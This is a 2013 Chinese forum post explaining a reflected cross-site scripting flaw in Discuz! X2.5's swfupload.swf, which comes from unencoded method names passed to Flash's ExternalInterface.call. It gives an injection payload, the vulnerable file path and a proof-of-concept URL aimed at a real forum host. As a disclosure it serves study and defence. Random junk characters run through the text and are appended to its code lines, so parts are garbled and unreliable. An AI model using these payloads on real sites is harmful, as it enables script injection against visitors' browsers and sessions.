找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1975|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
上回我们说9 b/ i: C/ |: [* N- e+ a; S7 t7 K

  j" s: q$ v- A& j% `) `8 Pflash.external.ExternalInterface.call($methodName, $parameter)
8 k+ j5 i3 I) t8 Q) p; `! O: y9 i在浏览器中执行的是& Q  |& t3 d+ h  e

4 F; `! o; t6 L9 V* M+ x; Rtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
6 [: |0 f8 j! L# M6 w9 h对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如' p' I9 [% p6 N' |

  ]3 E* O' b/ k8 r/ p: xflash.external.ExternalInterface.call("object."+$methodName, $parameter)$ ]: \$ d! c8 L3 w
$methodName = a())}catch(e){alert(/xss/)}//& u) \# a3 h1 X5 ^# G2 f$ H# k
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
) U8 |: ?: Z  P% r; Z9 V, m6 ~; n* j
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
' g/ P, x) R/ b2 z7 R4 ^# d  w. r% @; q* @  _( \; ?
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )3 c# t1 d0 `# z) |* _. o/ S
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
% }( }) X. W+ \/ X- C1 y0 e: Q6 i$ Y
9 [3 A& l" F. J" w1 s  {$ _' h5 S8 n

0 Q# U* `$ {: L: U* d1 T漏洞文件:upload\static\image\common\swfupload.swf7 n9 T" O  i1 g2 z5 T: X

: t# t" o- P) I原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf0 ]* I: T  T; `8 d1 C

& ~) ~( [" F: C% f; f, E$ ?, E- x6 o5 L: H
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//+ v  {# }, o. m: Y  v
5 {6 w" S  u5 V

6 l" R, W- a, O, M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表